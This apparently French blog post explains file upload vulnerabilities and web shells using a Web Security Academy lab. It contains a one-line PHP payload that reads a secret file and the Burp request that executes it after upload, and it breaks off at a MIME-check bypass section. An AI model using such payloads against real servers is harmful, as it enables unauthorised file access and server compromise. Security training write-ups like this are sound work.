File upload vulnerabilities

Auteur: Brouettelover 2024-01-03 14:18:29
Categories: > Tags:

Description

Les vulnérabilités d’upload de fichier apparaissent quand un utilisateur peut uploader un fichier sans asser de restrictions, sur le nom, la taille, le contenu.
Ces vulnérabilités peuvent permettre à l’attaquant d’envoyer des fichiers permettant de créer une backdoor, un fichier qui permettrait d’exécuter du code malicieux.

Certains essayent de se défendre de ce type d’attaque en autorisant qu’un certain type d’extension ce qui ne constitue pas une sécurité suffisante ou en vérifiant les propriétés qui peuvent être facilement falsifiées.

Web Shell

Dans certains cas, le site peut enregistrer un type de fichier contenant du code PHP, Python ou Java qui sera exécuter comme un code appartenant au site et crééra ainsi une console shell sur le navigateur permettant à l’attaquant d’avoir accès à un contrôle du serveur.

Exemple pratique

Je veux accéder au contenu du fichier “/home/carlos/secret” sur un site où je peux uploader un fichier malicieux.

Je créé donc un fichier .php :

<?php echo file_get_contents('/home/carlos/secret'); ?>

Ensuite avec l’outil burp, j’effectue un GET sur la page ainsi uploader.

GET /files/avatars/test.php HTTP/2
Host: 0a45006304777cd582d51f460075004d.web-security-academy.net
Cookie: session=FmHnZiyWI46dAMEpx7GgKTuvYUFO3ZBR
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Sec-Ch-Ua-Platform: "Linux"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://0a45006304777cd582d51f460075004d.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7

La réponse ainsi donné par le serveur me retournera le contenu de mon script php qui devrait me donner le contenu.

Exemple pratique avec Protection MIME

Je veux accéder au contenu du fichier “/home/carlos/secret” sur un site où je peux uploader un fichier malicieux.
Un site peut essayer de n’autoriser qu’un seul type de fichier en autorisant uniquement certaines propriétés.